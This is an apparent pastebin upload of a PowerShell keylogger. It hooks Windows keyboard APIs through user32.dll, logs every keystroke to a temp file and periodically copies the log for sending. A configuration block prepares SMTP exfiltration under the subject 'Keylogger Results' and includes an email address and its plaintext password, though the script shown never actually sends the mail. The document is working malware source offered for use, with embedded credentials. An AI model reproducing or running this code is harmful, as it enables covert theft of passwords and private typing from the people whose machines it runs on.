· 6 years ago · Feb 28, 2020, 06:26 PM
1# Edit only this section!
2$TimeToRun = 2
3$From = "srecko10002@mail.com"
4$Pass = "SVa3y4rs"
5$To = "srecko10002@mail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.mail.com"
9$SMTPPort = "587"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11
12############################
13
14#requires -Version 2
15function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
16 <#
17 .DESCRIPTION
18 By accessing the Windows low-level API functions, a script can constantly
19 monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
20 Run the function Start-Keylogger to start logging key presses. Once you
21 stop the script by pressing CTRL+C, the collected key presses are displayed
22 .NOTES
23 http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
24 #>
25 # Signatures for API Calls
26 $signatures = @'
27[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
28public static extern short GetAsyncKeyState(int virtualKeyCode);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int GetKeyboardState(byte[] keystate);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int MapVirtualKey(uint uCode, int uMapType);
33[DllImport("user32.dll", CharSet=CharSet.Auto)]
34public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
35'@
36
37 # load signatures and make members available
38 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
39
40 # create output file
41 $null = New-Item -Path $Path -ItemType File -Force
42 $count = 0
43 $mult = 100
44
45 try {
46 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
47
48 # create endless loop. When user presses CTRL+C, finally-block
49 # executes and shows the collected key presses
50 while ($true) {
51 Start-Sleep -Milliseconds 40
52 $count++
53 Write-Output $count
54 if ($count -eq $mult)
55 {
56 $mult = $mult + 100
57
58 Write-Output "sendin mail"
59 sleep 2
60 Copy-Item -Path $env:temp\keylogger.txt -Destination $env:temp\mail.txt
61
62 }
63 # scan all ASCII codes above 8
64 for ($ascii = 9; $ascii -le 254; $ascii++) {
65 # get current key state
66 $state = $API::GetAsyncKeyState($ascii)
67
68 # is key pressed?
69 if ($state -eq -32767) {
70 $null = [console]::CapsLock
71
72 # translate scan code to real code
73 $virtualKey = $API::MapVirtualKey($ascii, 3)
74
75 # get keyboard state for virtual keys
76 $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
77 $checkkbstate = $API::GetKeyboardState($kbstate)
78
79 # prepare a StringBuilder to receive input key
80 $mychar = New-Object -TypeName System.Text.StringBuilder
81
82 # translate virtual key
83 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
84
85 if ($success) {
86 # add key to logger file
87 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
88 }
89 }
90 }
91 }
92 }
93 finally
94 {
95 # open logger file in Notepad
96 exit 1
97 }
98}
99
100# records all key presses until script is aborted by pressing CTRL+C
101# will then open the file with collected key codes
102Start-KeyLogger